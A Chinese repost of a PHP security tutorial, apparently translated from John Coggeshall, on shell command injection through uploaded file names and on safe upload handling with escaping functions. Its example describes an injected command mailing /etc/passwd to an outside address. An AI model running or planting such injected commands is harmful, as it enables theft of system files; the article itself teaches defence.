PHP安全(2)

转载 2004年07月06日 23:01:00

by John Coggeshall
<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />08/28/2003
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

欢迎回到PHP Foundations。在我的上一篇文章中,我向你们介绍了在PHP中可能危及安全的做法,继续了我在养成良好的PHP编程习惯方面的系列文章。

这篇文章将用更多的潜在安全漏洞和修复它们的工具和方法的实例来继续我们的讨论。今天我将开始谈及一个在PHP开发中很严重的潜在安全漏洞——编写底层操作系统调用的程式。 

PHP中执行系统调用

PHP中有很多方法可以执行系统调用。

比如,system() exec() passthru() popen() 反单引号(`操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。

使用系统调用的一个例子程式

考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录(默认为/usr/local/archives/)。代码如下:

 

 

 

 

虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到这点:

 

 

欺骗程式执行任意shell命令

虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!

准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名(带有 .zip扩展名)。我们用到了$_FILES['file']['name'](它包含了上传文件在客户机时的文件名)。

在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?(UNIX shell提示符下)

 

这个命令将创建一个名字如下的文件:

看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:

如果你出于好奇而显示$code变量的内容,就会发现它包含了mail baduser@somewhere.com < /etc/passwd。如果用户把这个文件传给程式,接着PHP执行系统调用来压缩文件,PHP实际上将执行如下语句:

让人吃惊的,上边的命令不是一个语句而是3个!由于UNIX shell 把分号(;)解释为一个shell命令的结束和另一命令的开始,除了分号在在引号中时,PHPsystem()实际上将如下执行:

如你所见,这个看起来无害的PHP程式突然变成执行任意shell命令和其他PHP程式的后门。虽然这个例子只会在路径下有CLI版本的PHP的系统上有效,但是用这种技术可以通过其他的方法来达到同样的效果。

对抗系统调用攻击

这里的关键仍然是,来自用户的输入,不管内容如何,都不应该相信!问题仍然是如何在使用系统调用时(除了根本不使用它们)避免类似的情况出现。为了对抗这种类型的攻击,PHP提供了两个函数,escapeshellarg() escapeshellcmd()

escapeshellarg()函数是为了从用作系统命令的参数的用户输入(在我们的例子中,是zip命令)中移出含有潜在危险的字符而设计的。这个函数的语法如下:

$string所在处是用于过滤的输入,返回值是过滤后的字符。执行时,这个函数将在字符两边添加单引号,并转义原来字符串中的单引号(在其前边加上/)。在我们的例程中,如果我们在执行系统命令之前加上这些行:

我们就能通过确保传递给系统调用的参数已经处理,是一个没有其他意图的用户输入,以规避这样的安全风险。

escapeshellcmd()escapeshellarg()类似,只是它只转义对底层操作系统有特殊意义的字符。和escapeshellarg()不同,escapeshellcmd()不会处理内容中的空白格。举个实例,当使用escapeshellcmd()转义时,字符

将变为:

如果这个字符串用作系统调用的参数它将仍然不能得到正确的结果,因为shell将会把它分别解释为两个分离的参数: /'hello world/'/;evilcommand。如果用户输入用于系统调用的参数列表部分,escapeshellarg()是一个更好的选择。

 

 

保护上传的文件

在整篇文章中,我一直只着重讲系统调用如何被恶意用户劫持以产生我们不希望结果。

但是,这里还有另外一个潜在的安全风险值得提到。再看到我们的例程,把你的注意力集中在下边的行上:

 

上边片断中的代码行导致的一个潜在安全风险是,最后一行我们判断上传的文件是否实际存在(以临时文件名$tmp_name存在)。

这个安全风险并不来自于PHP自身,而在于保存在$tmp_name中的文件名实际上根本不是一个文件,而是指向恶意用户希望访问的文件,比如,/etc/passwd

为了防止这样的情况发生,PHP提供了is_uploaded_file()函数,它和file_exists()一样,但是它还提供文件是否真的从客户机上上传的检查。

在绝大多数情况下,你将需要移动上传的文件,PHP提供了move_uploaded_file()函数,来配合is_uploaded_file()。这个函数和rename()一样用于移动文件,只是它会在执行前自动检查以确保被移动的文件是上传的文件。move_uploaded_file()的语法如下:

在执行时,函数将移动上传文件$filename到目的地$destination并返回一个布尔值来标志操作是否成功。

PHP安全处理,过滤函数

在PHP中,有些很有用的函数开源非常方便的防止你的网站遭受各种攻击,例如SQL注入攻击,XSS(Cross Site Scripting:跨站脚本)攻击等. 1.mysql_real_escape_...
  • beauty5188
  • beauty5188
  • 2018-03-14 19:16:09
  • 23

php安全新闻早八点-Microdoor-第二季

Microdoor系列分为持续渗透的权限把控系列,部分为目前已成熟的轮子。会持续更新下去。 iis6.x x32 backdoor iis_x86.dll Size: 82432 byte...
  • micropoor
  • micropoor
  • 2017-12-29 19:51:33
  • 156

Essential PHP Security -PHP安全基础(中文版)

第五章 包含随着PHP项目的增大,软件设计与组织在代码的可维护性上起着越来越重要的作用。尽管对于什么是最好的编程方式众说纷纭(关于面向对象优点的争论常常发生),但基本上每个开发者会理解和欣赏模块化设计...
  • calvinbody
  • calvinbody
  • 2006-04-30 22:34:00
  • 2062

PHP安全文档和Xajax中文手册

  • 2008年07月05日 11:12
  • 403KB
  • 下载

Basic PHP Security (PHP安全基础)

译者:落叶备注:很少翻译东西的,由于能力问题,文中错误或不妥之处望大家指出。------------------------------------------------序言最近,PHP的安全成为很...
  • fallingleaf
  • fallingleaf
  • 2007-07-06 22:11:00
  • 1301

php安全新闻早八点-高级持续渗透-第二季关于后门补充一

文章转载于:https://micropoor.blogspot.hk/2017/12/php_24.html 这次继续围绕第一篇,第一季关于后门:https://micropoor.blogspo...
  • micropoor
  • micropoor
  • 2017-12-25 01:33:20
  • 706

HTTP攻击与防范--PHP安全配置

1什么是安全性 所谓安全性就是保护web应用程序与网页不会受到黑客的攻击。有些黑客纯粹是为了好玩而入侵他人的电脑,但有更多的黑客费劲心思要窃取他人电脑中的机密文件,甚至使整台电脑瘫痪来达到他的目...
  • qq_28602957
  • qq_28602957
  • 2016-05-29 15:04:25
  • 4508

几本关于PHP安全的书

几本关于PHP安全的书:Essential PHP Securityphp architect‘s Guide to PHP SecurityPro PHP SecuritySecuring PHP ...
  • Testing_is_believing
  • Testing_is_believing
  • 2014-03-07 20:58:49
  • 2085

Linux下PHP的10大安全配置

PHP被广泛用于各种Web开发。而当服务器端脚本配置错误时会出现各种问题。现今,大部分Web服务器是基于Linux环境下运行(比如:Ubuntu,Debian等)。本文例举了十大PHP最佳安全实践方式...
  • qq43599939
  • qq43599939
  • 2016-06-12 15:29:48
  • 1592

PHP基本安全防范,初学者必看

1、一般页面通过GET接收的参数都是INT型(整型)居多,但是要防范一些不规范的输入,接收时用整型函数转换一下            $id=intval($_GET["id"]);2、有上传功能时,...
  • gjpdeyx
  • gjpdeyx
  • 2010-05-11 12:18:00
  • 359
收藏助手
不良信息举报
您举报文章:PHP安全(2)
举报原因:
原因补充:

(最多只允许输入30个字)